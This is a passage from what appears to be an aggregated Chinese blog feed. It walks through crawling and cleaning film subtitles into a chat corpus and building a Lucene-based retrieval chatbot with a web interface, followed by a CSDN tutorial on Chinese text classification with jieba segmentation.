"http://www.zimuku.net/search?q=&t=onlyst&ad=1&p=21",
"http://www.zimuku.net/search?q=&t=onlyst&ad=1&p=22",
]
def parse(self, response):
hrefs = response.selector.xpath('//div[contains(@class, "persub")]/h1/a/@href').extract()
for href in hrefs:
url = response.urljoin(href)
request = scrapy.Request(url, callback=self.parse_detail)
yield request
def parse_detail(self, response):
url = response.selector.xpath('//li[contains(@class, "dlsub")]/div/a/@href').extract()[0]
print "processing: ", url
request = scrapy.Request(url, callback=self.parse_file)
yield request
def parse_file(self, response):
body = response.body
item = SubtitleCrawlerItem()
item['url'] = response.url
item['body'] = body
return item

下面是pipeline.py代码:

1
2
3
4
5
6
7
8
class SubtitleCrawlerPipeline(object):
def process_item(self, item, spider):
url = item['url']
file_name = url.replace('/','_').replace(':','_')
fp = open('result/'+file_name, 'w')
fp.write(item['body'])
fp.close()
return item

看下我抓取的最终效果

1
2
3
4
5
6
[root@centos:~/Developer/ChatBotCourse/subtitle $] ls result/|head -1
http___shooter.zimuku.net_download_265300_Hick.2011.720p.BluRay.x264.YIFY.rar
[root@centos:~/Developer/ChatBotCourse/subtitle $] ls result/|wc -l
82575
[root@centos:~/Developer/ChatBotCourse/subtitle $] du -hs result/
16G result/

字幕文件的解压方法

linux下怎么解压zip文件

直接执行unzip file.zip即可

linux下怎么解压rar文件

http://www.rarlab.com/download.htm

wgethttp://www.rarlab.com/rar/rarlinux-x64-5.4.0.tar.gz

tar zxvf rarlinux-x64-5.4.0.tar.gz

./rar/unrar试试

解压命令:

unrar x file.rar

linux下怎么解压7z文件

http://downloads.sourceforge.net/project/p7zip下载源文件,解压后执行make编译后bin/7za可用,用法

bin/7za x file.7z

最终字幕的处理方式

有关解压出来的文本字幕文件的处理,我后面的文章会详细讲解如何分词、如何组合,敬请期待。

重磅:近1GB的三千万聊天语料供出

经过半个月的倾力打造,建设好的聊天语料库包含三千多万条简体中文高质量聊天语料,近1G的纯文本数据。此语料库全部基于2万部影视剧字幕,经由爬取、分类、解压、语言识别、编码识别、编码转换、过滤清洗等一系列繁琐过程。把整个建设过程分享出来供大家玩耍。

注意:本文提到的程序和脚本都分享在https://github.com/warmheartli/ChatBotCourse。如需直接获取最终语料库,请见文章末尾。

第一步:爬取影视剧字幕

请见我的这篇文章《二十八-脑洞大开:基于美剧字幕的聊天语料库建设方案》

第二步:压缩格式分类

下载的字幕有zip格式和rar格式,因为数量比较多,需要做筛选分类,以便后面的处理,这步看似简单实则不易,因为要解决:文件多无法ls的问题、文件名带特殊字符的问题、文件名重名误覆盖问题、扩展名千奇百怪的问题,我写成了python脚本mv_zip.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import glob
import os
import fnmatch
import shutil
import sys
def iterfindfiles(path, fnexp):
for root, dirs, files in os.walk(path):
for filename in fnmatch.filter(files, fnexp):
yield os.path.join(root, filename)
i=0
for filename in iterfindfiles(r"./input/", "*.zip"):
i=i+1
newfilename = "zip/" + str(i) + "_" + os.path.basename(filename)
print filename + " <===> " + newfilename
shutil.move(filename, newfilename)

其中的扩展名根据压缩文件可能有的扩展名修改成*.rar*.RAR*.zip*.ZIP

第三步:解压

解压这一步需要根据所用的操作系统下载不同的解压工具,建议使用unrar和unzip,为了解决解压后文件名可能重名覆盖的问题,我总结出如下两句脚本来实现批量解压:

1
2
i=0; for file in `ls`; do mkdir output/${i}; echo "unzip $file -d output/${i}";unzip -P abc $file -d output/${i} > /dev/null; ((i++)); done
i=0; for file in `ls`; do mkdir output/${i}; echo "${i} unrar x $file output/${i}";unrar x $file output/${i} > /dev/null; ((i++)); done

第四步:srt、ass、ssa字幕文件分类整理

当你下载大量字幕并解压后你会发现字幕文件类型有很多种,包括srt、lrc、ass、ssa、sup、idx、str、vtt,但是整体量级上来看srt、ass、ssa占绝对优势,因此简单起见,我们抛弃掉其他格式,只保留这三种,具体分类整理的脚本可以参考第二部压缩格式分类的方法按扩展名整理

第五步:清理目录

在我边整理边分析的过程中发现,我为了避免重名把文件放到不同目录里后,如果再经过一步文件类型整理,会产生非常多的空目录,每次ls都要拉好几屏,所以写了一个自动清理空目录的脚本clear_empty_dir.py,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import glob
import os
import fnmatch
import shutil
import sys
def iterfindfiles(path, fnexp):
for root, dirs, files in os.walk(path):
if 0 == len(files) and len(dirs) == 0:
print root
os.rmdir(root)
iterfindfiles(r"./input/", "")

第六步:清理非字幕文件

在整个字幕文件分析过程中,总有很多其他文件干扰你的视线,比如txt、html、doc、docx,因为不是我们想要的,因此干脆直接干掉,批量删除脚本del_file.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import glob
import os
import fnmatch
import shutil
import sys
def iterfindfiles(path, fnexp):
for root, dirs, files in os.walk(path):
for filename in fnmatch.filter(files, fnexp):
yield os.path.join(root, filename)
for suffix in ("*.mp4", "*.txt", "*.JPG", "*.htm", "*.doc", "*.docx", "*.nfo", "*.sub", "*.idx"):
for filename in iterfindfiles(r"./input/", suffix):
print filename
os.remove(filename)

第七步:多层解压缩

把抓取到的字幕压缩包解压后有的文件里面依然还有压缩包,继续解压才能看到字幕文件,因此上面这些步骤再来一次,不过要做好心理准备,没准需要再来n次!

第八步:舍弃剩余的少量文件

经过以上几步的处理后剩下一批无扩展名的、特殊扩展名如:“srt.简体”,7z等、少量压缩文件,总体不超过50M,想想伟大思想家马克思教导我们要抓主要矛盾,因此这部分我们直接抛弃掉

第九步:编码识别与转码

字幕文件就是这样的没有规范,乃至于各种编码齐聚,什么utf-8、utf-16、gbk、unicode、iso8859琳琅满目应有尽有,我们要统一到一种编码方便使用,索性我们统一到utf-8,get_charset_and_conv.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import chardet
import sys
import os
if __name__ == '__main__':
if len(sys.argv) == 2:
for root, dirs, files in os.walk(sys.argv[1]):
for file in files:
file_path = root + "/" + file
f = open(file_path,'r')
data = f.read()
f.close()
encoding = chardet.detect(data)["encoding"]
if encoding not in ("UTF-8-SIG", "UTF-16LE", "utf-8", "ascii"):
try:
gb_content = data.decode("gb18030")
gb_content.encode('utf-8')
f = open(file_path, 'w')
f.write(gb_content.encode('utf-8'))
f.close()
except:
print "except:", file_path

第十步:筛选中文

考虑到我朝广大人民的爱国热情,我只做中文,所以什么英文、韩文、日文、俄文、火星文、鸟语……全都不要,参考extract_sentence_srt.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# coding:utf-8
import chardet
import os
import re
cn=ur"([\u4e00-\u9fa5]+)"
pattern_cn = re.compile(cn)
jp1=ur"([\u3040-\u309F]+)"
pattern_jp1 = re.compile(jp1)
jp2=ur"([\u30A0-\u30FF]+)"
pattern_jp2 = re.compile(jp2)
for root, dirs, files in os.walk("./srt"):
file_count = len(files)
if file_count > 0:
for index, file in enumerate(files):
f = open(root + "/" + file, "r")
content = f.read()
f.close()
encoding = chardet.detect(content)["encoding"]
try:
for sentence in content.decode(encoding).split('\n'):
if len(sentence) > 0:
match_cn = pattern_cn.findall(sentence)
match_jp1 = pattern_jp1.findall(sentence)
match_jp2 = pattern_jp2.findall(sentence)
sentence = sentence.strip()
if len(match_cn)>0 and len(match_jp1)==0 and len(match_jp2) == 0 and len(sentence)>1 and len(sentence.split(' ')) < 10:
print sentence.encode('utf-8')
except:
continue

第十一步:字幕中的句子提取

不同格式的字幕有特定的格式,除了句子之外还有很多字幕的控制语句,我们一律过滤掉,只提取我们想要的重点内容,因为不同的格式都不一样,在这里不一一举例了,感兴趣可以去我的github查看,在这里单独列出ssa格式字幕的部分代码供参考:

1
2
3
4
5
6
if line.find('Dialogue') == 0 and len(line) < 500:
fields = line.split(',')
sentence = fields[len(fields)-1]
tag_fields = sentence.split('}')
if len(tag_fields) > 1:
sentence = tag_fields[len(tag_fields)-1]

第十二步:内容过滤

经过上面几步的处理,其实已经形成了完整的语料库了,只是里面还有一些不像聊天的内容我们需要进一步做优化,包括:过滤特殊的unicode字符、过滤特殊的关键词(如:字幕、时间轴、校对……)、去除字幕样式标签、去除html标签、去除连续特殊字符、去除转义字符、去除剧集信息等,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# coding:utf-8
import sys
import re
import chardet
if __name__ == '__main__':
#illegal=ur"([\u2000-\u2010]+)"
illegal=ur"([\u0000-\u2010]+)"
pattern_illegals = [re.compile(ur"([\u2000-\u2010]+)"), re.compile(ur"([\u0090-\u0099]+)")]
filters = ["字幕", "时间轴:", "校对:", "翻译:", "后期:", "监制:"]
filters.append("时间轴:")
filters.append("校对:")
filters.append("翻译:")
filters.append("后期:")
filters.append("监制:")
filters.append("禁止用作任何商业盈利行为")
filters.append("http")
htmltagregex = re.compile(r'<[^>]+>',re.S)
brace_regex = re.compile(r'\{.*\}',re.S)
slash_regex = re.compile(r'\\\w',re.S)
repeat_regex = re.compile(r'[-=]{10}',re.S)
f = open("./corpus/all.out", "r")
count=0
while True:
line = f.readline()
if line:
line = line.strip()
# 编码识别,不是utf-8就过滤
gb_content = ''
try:
gb_content = line.decode("utf-8")
except Exception as e:
sys.stderr.write("decode error: ", line)
continue
# 中文识别,不是中文就过滤
need_continue = False
for pattern_illegal in pattern_illegals:
match_illegal = pattern_illegal.findall(gb_content)
if len(match_illegal) > 0:
sys.stderr.write("match_illegal error: %s\n" % line)
need_continue = True
break
if need_continue:
continue
# 关键词过滤
need_continue = False
for filter in filters:
try:
line.index(filter)
sys.stderr.write("filter keyword of %s %s\n" % (filter, line))
need_continue = True
break
except:
pass
if need_continue:
continue
# 去掉剧集信息
if re.match('.*第.*季.*', line):
sys.stderr.write("filter copora %s\n" % line)
continue
if re.match('.*第.*集.*', line):
sys.stderr.write("filter copora %s\n" % line)
continue
if re.match('.*第.*帧.*', line):
sys.stderr.write("filter copora %s\n" % line)
continue
# 去html标签
line = htmltagregex.sub('',line)
# 去花括号修饰
line = brace_regex.sub('', line)
# 去转义
line = slash_regex.sub('', line)
# 去重复
new_line = repeat_regex.sub('', line)
if len(new_line) != len(line):
continue
# 去特殊字符
line = line.replace('-', '').strip()
if len(line) > 0:
sys.stdout.write("%s\n" % line)
count+=1
else:
break
f.close()
pass

数据样例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
这是什么
是寄给医院的
井崎…为什么?
是为了小雪的事情
怎么回事?
您不记得了吗
在她说小雪…
就是在这种非常时期和我们一起舍弃休息时间来工作的护士失踪时…
医生 小雪她失踪了
你不是回了一句「是吗」吗
是吗…
不 对不起
跟我道歉也没用啊
而且我们都知道您是因为夫人的事情而操劳
但是 我想小聪是受不了医生一副漠不关心的样子
事到如今再责备医生也没有用了
是我的错吗…
我就是这个意思 您听不出来吗
我也难以接受
……

第一版聊天机器人诞生——吃了字幕长大的小二兔

在上一节中我分享了建设好的影视剧字幕聊天语料库,本节基于这个语料库开发我们的聊天机器人,因为是第一版,所以机器人的思绪还有点小乱,答非所问、驴唇不对马嘴得比较搞笑,大家凑合玩

第一版思路

首先要考虑到我的影视剧字幕聊天语料库特点,它是把影视剧里面的说话内容一句一句以回车换行罗列的三千多万条中国话,那么相邻的第二句其实就很可能是第一句的最好的回答,另外,如果对于一个问句有很多种回答,那么我们可以根据相关程度以及历史聊天记录来把所有回答排个序,找到最优的那个,这么说来这是一个搜索和排序的过程。对!没错!我们可以借助搜索技术来做第一版。

lucene+ik

lucene是一款开源免费的搜索引擎库,java语言开发。ik全称是IKAnalyzer,是一个开源中文切词工具。我们可以利用这两个工具来对语料库做切词建索引,并通过文本搜索的方式做文本相关性检索,然后把下一句取出来作为答案候选集,然后再通过各种方式做答案排序,当然这个排序是很有学问的,聊天机器人有没有智能一半程度上体现在了这里(还有一半体现在对问题的分析上),本节我们的主要目的是打通这一套机制,至于“智能”这件事我们以后逐个拆解开来不断研究

建索引

首先用eclipse创建一个maven工程,如下:

maven帮我们自动生成了pom.xml文件,这配置了包依赖信息,我们在dependencies标签中添加如下依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<dependency>
<groupId>org.apache.lucene</groupId>
<artifactId>lucene-core</artifactId>
<version>4.10.4</version>
</dependency>
<dependency>
<groupId>org.apache.lucene</groupId>
<artifactId>lucene-queryparser</artifactId>
<version>4.10.4</version>
</dependency>
<dependency>
<groupId>org.apache.lucene</groupId>
<artifactId>lucene-analyzers-common</artifactId>
<version>4.10.4</version>
</dependency>
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-all</artifactId>
<version>5.0.0.Alpha2</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.1.41</version>
</dependency>

并在project标签中增加如下配置,使得依赖的jar包都能自动拷贝到lib目录下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
<executions>
<execution>
<id>copy-dependencies</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-dependencies</goal>
</goals>
<configuration>
<outputDirectory>${project.build.directory}/lib</outputDirectory>
<overWriteReleases>false</overWriteReleases>
<overWriteSnapshots>false</overWriteSnapshots>
<overWriteIfNewer>true</overWriteIfNewer>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>theMainClass</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>

https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/ik-analyzer/IK%20Analyzer%202012FF_hf1_source.rar下载ik的源代码并把其中的src/org目录拷贝到chatbotv1工程的src/main/java下,然后刷新maven工程,效果如下:

在com.shareditor.chatbotv1包下maven帮我们自动生成了App.java,为了辨识我们改成Indexer.java,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Analyzer analyzer = new IKAnalyzer(true);
IndexWriterConfig iwc = new IndexWriterConfig(Version.LUCENE_4_9, analyzer);
iwc.setOpenMode(OpenMode.CREATE);
iwc.setUseCompoundFile(true);
IndexWriter indexWriter = new IndexWriter(FSDirectory.open(new File(indexPath)), iwc);
BufferedReader br = new BufferedReader(new InputStreamReader(
new FileInputStream(corpusPath), "UTF-8"));
String line = "";
String last = "";
long lineNum = 0;
while ((line = br.readLine()) != null) {
line = line.trim();
if (0 == line.length()) {
continue;
}
if (!last.equals("")) {
Document doc = new Document();
doc.add(new TextField("question", last, Store.YES));
doc.add(new StoredField("answer", line));
indexWriter.addDocument(doc);
}
last = line;
lineNum++;
if (lineNum % 100000 == 0) {
System.out.println("add doc " + lineNum);
}
}
br.close();
indexWriter.forceMerge(1);
indexWriter.close();

编译好后拷贝src/main/resources下的所有文件到target目录下,并在target目录下执行

1
java -cp $CLASSPATH:./lib/:./chatbotv1-0.0.1-SNAPSHOT.jar com.shareditor.chatbotv1.Indexer ../../subtitle/raw_subtitles/subtitle.corpus ./index

最终生成的索引目录index通过lukeall-4.9.0.jar查看如下:

检索服务

基于netty创建一个http服务server,代码共享在https://github.com/warmheartli/ChatBotCourse的chatbotv1目录下,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Analyzer analyzer = new IKAnalyzer(true);
QueryParser qp = new QueryParser(Version.LUCENE_4_9, "question", analyzer);
if (topDocs.totalHits == 0) {
qp.setDefaultOperator(Operator.AND);
query = qp.parse(q);
System.out.println(query.toString());
indexSearcher.search(query, collector);
topDocs = collector.topDocs();
}
if (topDocs.totalHits == 0) {
qp.setDefaultOperator(Operator.OR);
query = qp.parse(q);
System.out.println(query.toString());
indexSearcher.search(query, collector);
topDocs = collector.topDocs();
}
ret.put("total", topDocs.totalHits);
ret.put("q", q);
JSONArray result = new JSONArray();
for (ScoreDoc d : topDocs.scoreDocs) {
Document doc = indexSearcher.doc(d.doc);
String question = doc.get("question");
String answer = doc.get("answer");
JSONObject item = new JSONObject();
item.put("question", question);
item.put("answer", answer);
item.put("score", d.score);
item.put("doc", d.doc);
result.add(item);
}
ret.put("result", result);

其实就是查询建好的索引,通过query词做切词拼lucene query,然后检索索引的question字段,匹配上的返回answer字段的值作为候选集,使用时挑出候选集里的一条作为答案

这个server可以通过http访问,如http://127.0.0.1:8765/?q=hello(注意:如果是中文需要转成urlcode发送,因为java端读取时按照urlcode解析),server的启动方法是:

1
java -cp $CLASSPATH:./lib/:./chatbotv1-0.0.1-SNAPSHOT.jar com.shareditor.chatbotv1.Searcher

聊天界面

先看下我们的界面是什么样的,然后再说怎么做的

首先需要有一个可以展示聊天内容的框框,我们选择ckeditor,因为它支持html格式内容的展示,然后就是一个输入框和发送按钮,html代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<div class="col-sm-4 col-xs-10">
<div class="row">
<textarea id="chatarea">
<div style='color: blue; text-align: left; padding: 5px;'>机器人: 喂,大哥您好,您终于肯跟我聊天了,来侃侃呗,我来者不拒!</div>
<div style='color: blue; text-align: left; padding: 5px;'>机器人: 啥?你问我怎么这么聪明会聊天?因为我刚刚吃了一堆影视剧字幕!</div>
</textarea>
</div>
<br />
<div class="row">
<div class="input-group">
<input type="text" id="input" class="form-control" autofocus="autofocus" onkeydown="submitByEnter()" />
<span class="input-group-btn">
<button class="btn btn-default" type="button" onclick="submit()">发送</button>
</span>
</div>
</div>
</div>
<script type="text/javascript">
CKEDITOR.replace('chatarea',
{
readOnly: true,
toolbar: ['Source'],
height: 500,
removePlugins: 'elementspath',
resize_enabled: false,
allowedContent: true
});
</script>

为了调用上面的聊天server,需要实现一个发送请求获取结果的控制器,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function queryAction(Request $request)
{
$q = $request->get('input');
$opts = array(
'http'=>array(
'method'=>"GET",
'timeout'=>60,
)
);
$context = stream_context_create($opts);
$clientIp = $request->getClientIp();
$response = file_get_contents('http://127.0.0.1:8765/?q=' . urlencode($q) . '&clientIp=' . $clientIp, false, $context);
$res = json_decode($response, true);
$total = $res['total'];
$result = '';
if ($total > 0) {
$result = $res['result'][0]['answer'];
}
return new Response($result);
}

这个控制器的路由配置为:

1
2
3
chatbot_query:
path: /chatbot/query
defaults: { _controller: AppBundle:ChatBot:query }

因为聊天server响应时间比较长,为了不导致web界面卡住,我们在执行submit的时候异步发请求和收结果,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var xmlHttp;
function submit() {
if (window.ActiveXObject) {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
else if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}
var input = $("#input").val().trim();
if (input == '') {
jQuery('#input').val('');
return;
}
addText(input, false);
jQuery('#input').val('');
var datastr = "input=" + input;
datastr = encodeURI(datastr);
var url = "/chatbot/query";
xmlHttp.open("POST", url, true);
xmlHttp.onreadystatechange = callback;
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send(datastr);
}
function callback() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
var responseText = xmlHttp.responseText;
addText(responseText, true);
}
}

这里的addText是往ckeditor里添加一段文本,方法如下:

1
2
3
4
5
6
7
8
9
10
function addText(text, is_response) {
var oldText = CKEDITOR.instances.chatarea.getData();
var prefix = '';
if (is_response) {
prefix = "<div style='color: blue; text-align: left; padding: 5px;'>机器人: "
} else {
prefix = "<div style='color: darkgreen; text-align: right; padding: 5px;'>我: "
}
CKEDITOR.instances.chatarea.setData(oldText + "" + prefix + text + "</div>");
}

以上所有代码全都共享在https://github.com/warmheartli/ChatBotCoursehttps://github.com/warmheartli/shareditor.com中供参考


python 中文文本分类 - CSDN博客

$
0
0

一,中文文本分类流程:

1,预处理

2,中文分词

3,结构化表示--构建词向量空间

4,权重策略--TF-IDF

5,分类器

6,评价



二,具体细节

1,预处理。希望得到这样的目标:

1.1得到训练集语料库

即已经分好类的文本资料(例如:语料库里是一系列txt文章,这些文章按照主题归入到不同分类的目录中,如 .\art\21.txt)

推荐语料库:复旦中文文本分类语料库,下载链接:http://download.csdn.net/detail/github_36326955/9747927

将下载的语料库解压后,请自己修改文件名和路径,例如路径可以设置为 ./train_corpus/,

其下则是各个类别目录如:./train_corpus/C3-Art,……,\train_corpus\C39-Sports

1.2得到测试语料库

也是已经分好类的文本资料,与1.1类型相同,只是里面的文档不同,用于检测算法的实际效果。测试预料可以从1.1中的训练预料中随机抽取,也可以下载独立的测试语料库,复旦中文文本分类语料库测试集链接:http://download.csdn.net/detail/github_36326955/9747929

路径修改参考1.1,例如可以设置为 ./test_corpus/

1.3其他

你可能希望从自己爬取到的网页等内容中获取新文本,用本节内容进行实际的文本分类,这时候,你可能需要将html标签去除来获取文本格式的文档,这里提供一个基于python 和lxml的样例代码:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@version: python2.7.8 
@author: XiangguoSun
@contact: sunxiangguodut@qq.com
@file: html_demo.py
@time: 2017/2/6 12:25
@software: PyCharm
"""
import sys
from lxml import html
# 设置utf-8 unicode环境
reload(sys)
sys.setdefaultencoding('utf-8')
def html2txt(path):
    with open(path,"rb") as f:
        content=f.read() 
    r'''上面两行是python2.6以上版本增加的语法,省略了繁琐的文件close和try操作
    2.5版本需要from __future__ import with_statement新手可以参考这个链接来学习http://zhoutall.com/archives/325
    '''
    page = html.document_fromstring(content) # 解析文件
    text = page.text_content() # 去除所有标签
    return text
if __name__  =="__main__":
    # htm文件路径,以及读取文件
    path = "1.htm"
    text=html2txt(path)
    print text	 # 输出去除标签后解析结果




2,中文分词。

本小节的目标是:

1,告诉你中文分词的实际操作。

2,告诉你中文分词的算法。





2.1概述

第1小节预处理中的语料库都是没有分词的原始语料(即连续的句子,而后面的工作需要我们把文本分为一个个单词),现在需要对这些文本进行分词,只有这样,才能在 基于单词的基础上,对文档进行结构化表示。

中文分词有其特有的难点(相对于英文而言),最终完全解决中文分词的算法是基于概率图模型的条件随机场(CRF)。(可以参考博主的另一篇博文)

当然,在实际操作中,即使你对于相关算法不甚了解,也不影响你的操作,中文分词的工具有很多。但是比较著名的几个都是基于java的,这里推荐python的第三方库jieba(所采用的算法就是条件随机场)。对于非专业文档绰绰有余。如果你有强迫症,希望得到更高精度的分词工具,可以使用开源项目Anjs(基于java),你可以将这个开源项目与python整合。

关于分词库的更多讨论可以参考这篇文章:https://www.zhihu.com/question/19651613



你可以通过pip安装jieba:打开cmd,切换到目录  .../python/scripts/,执行命令:pip install jieba

或者你也可以在集成开发平台上安装jieba,例如,如果你用的是pycharm,可以点击file-settings-project:xxx-Projuect Interpreter.其他平台也都有类似的安装方法。



2.2分词操作

不要担心下面的代码你看不懂,我会非常详细的进行讲解,确保python入门级别水平的人都可以看懂:

2.2.1

首先讲解jieba分词使用方法(详细的和更进一步的,可以参考这个链接):

jieba.cut 方法接受三个输入参数: 需要分词的字符串;cut_all 参数用来控制是否采用全模式;HMM 参数用来控制是否使用 HMM 模型
jieba.cut_for_search 方法接受两个参数:需要分词的字符串;是否使用 HMM 模型。该方法适合用于搜索引擎构建倒排索引的分词,粒度比较细
待分词的字符串可以是 unicode 或 UTF-8 字符串、GBK 字符串。注意:不建议直接输入 GBK 字符串,可能无法预料地错误解码成 UTF-8
jieba.cut 以及 jieba.cut_for_search 返回的结构都是一个可迭代的 generator,可以使用 for 循环来获得分词后得到的每一个词语(unicode),或者用
jieba.lcut 以及 jieba.lcut_for_search 直接返回 list
jieba.Tokenizer(dictionary=DEFAULT_DICT) 新建自定义分词器,可用于同时使用不同词典。jieba.dt 为默认分词器,所有全局分词相关函数都是该分词器的映射。
实例代码:

import jieba
seg_list = jieba.cut("我来到北京清华大学", cut_all=True)
print("Full Mode: " + "/ ".join(seg_list))  # 全模式
seg_list = jieba.cut("我来到北京清华大学", cut_all=False)
print("Default Mode: " + "/ ".join(seg_list))  # 精确模式
seg_list = jieba.cut("他来到了网易杭研大厦")  # 默认是精确模式
print(", ".join(seg_list))
seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造")  # 搜索引擎模式
print(", ".join(seg_list))


输出:
【全模式】: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学
【精确模式】: 我/ 来到/ 北京/ 清华大学
【新词识别】:他, 来到, 了, 网易, 杭研, 大厦    (此处,“杭研”并没有在词典中,但是也被Viterbi算法识别出来了)
【搜索引擎模式】: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大



2.2.2

接下来,我们将要通过python编程,来将1.1节中的 ./train_corpus/原始训练语料库和1.2节中的./test_corpus/原始测试语料库进行分词,分词后保存的路径可以设置为

./train_corpus_seg/和./test_corpus_seg/

代码如下,思路很简单,就是遍历所有的txt文本,然后将每个文本依次进行分词。你唯一需要注意的就是写好自己的路径,不要出错。下面的代码已经给出了非常详尽的解释,初学者也可以看懂。如果你还没有明白,或者在运行中出现问题(其实根本不可能出现问题,我写的代码,质量很高的。。。),都可以发邮件给我,邮件地址在代码中,或者在博文下方评论中给出。



#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@version: python2.7.8 
@author: XiangguoSun
@contact: sunxiangguodut@qq.com
@file: corpus_segment.py
@time: 2017/2/5 15:28
@software: PyCharm
"""
import sys
import os
import jieba
# 配置utf-8输出环境
reload(sys)
sys.setdefaultencoding('utf-8')
# 保存至文件
def savefile(savepath, content):
    with open(savepath, "wb") as fp:
        fp.write(content)
    '''上面两行是python2.6以上版本增加的语法,省略了繁琐的文件close和try操作
    2.5版本需要from __future__ import with_statement新手可以参考这个链接来学习http://zhoutall.com/archives/325
    '''
# 读取文件
def readfile(path):
    with open(path, "rb") as fp:
        content = fp.read()
    return content
def corpus_segment(corpus_path, seg_path):
    '''
    corpus_path是未分词语料库路径
    seg_path是分词后语料库存储路径
    '''
    catelist = os.listdir(corpus_path)  # 获取corpus_path下的所有子目录
    '''其中子目录的名字就是类别名,例如:
    train_corpus/art/21.txt中,'train_corpus/'是corpus_path,'art'是catelist中的一个成员
    '''
    # 获取每个目录(类别)下所有的文件
    for mydir in catelist:
        '''这里mydir就是train_corpus/art/21.txt中的art(即catelist中的一个类别)
        '''
        class_path = corpus_path + mydir + "/"  # 拼出分类子目录的路径如:train_corpus/art/
        seg_dir = seg_path + mydir + "/"  # 拼出分词后存贮的对应目录路径如:train_corpus_seg/art/
        if not os.path.exists(seg_dir):  # 是否存在分词目录,如果没有则创建该目录
            os.makedirs(seg_dir)
        file_list = os.listdir(class_path)  # 获取未分词语料库中某一类别中的所有文本
        '''
        train_corpus/art/中的
        21.txt,
        22.txt,
        23.txt
        ...
        file_list=['21.txt','22.txt',...]
        '''
        for file_path in file_list:  # 遍历类别目录下的所有文件
            fullname = class_path + file_path  # 拼出文件名全路径如:train_corpus/art/21.txt
            content = readfile(fullname)  # 读取文件内容
            '''此时,content里面存贮的是原文本的所有字符,例如多余的空格、空行、回车等等,接下来,我们需要把这些无关痛痒的字符统统去掉,变成只有标点符号做间隔的紧凑的文本内容
            '''
            content = content.replace("\r\n", "")  # 删除换行
            content = content.replace(" ", "")#删除空行、多余的空格
            content_seg = jieba.cut(content)  # 为文件内容分词
            savefile(seg_dir + file_path, " ".join(content_seg))  # 将处理后的文件保存到分词后语料目录
    print "中文语料分词结束!!!"
'''
如果你对if __name__=="__main__":这句不懂,可以参考下面的文章
http://imoyao.lofter.com/post/3492bc_bd0c4ce
简单来说如果其他python文件调用这个文件的函数,或者把这个文件作为模块
导入到你的工程中时,那么下面的代码将不会被执行,而如果单独在命令行中
运行这个文件,或者在IDE(如pycharm)中运行这个文件时候,下面的代码才会运行。
即,这部分代码相当于一个功能测试。
如果你还没懂,建议你放弃IT这个行业。
'''
if __name__=="__main__":
    #对训练集进行分词
    corpus_path = "./train_corpus/"  # 未分词分类语料库路径
    seg_path = "./train_corpus_seg/"  # 分词后分类语料库路径
    corpus_segment(corpus_path,seg_path)
    #对测试集进行分词
    corpus_path = "./test_corpus/"  # 未分词分类语料库路径
    seg_path = "./test_corpus_seg/"  # 分词后分类语料库路径
    corpus_segment(corpus_path,seg_path)




截止目前,我们已经得到了分词后的训练集语料库和测试集语料库,下面我们要把这两个数据集表示为变量,从而为下面程序调用提供服务。我们采用的是Scikit-Learn库中的Bunch数据结构来表示这两个数据集。你或许对于Scikit-Learn和Bunch并不是特别了解,而官方的技术文档有两千多页你可能也没耐心去看,好在你们有相国大人。下面我们 以这两个数据集为背景,对Bunch做一个非常通俗的讲解,肯定会让你一下子就明白。

首先来看看Bunch:

Bunch这玩意儿,其实就相当于python中的字典。你往里面传什么,它就存什么。

好了,解释完了。

是不是很简单?

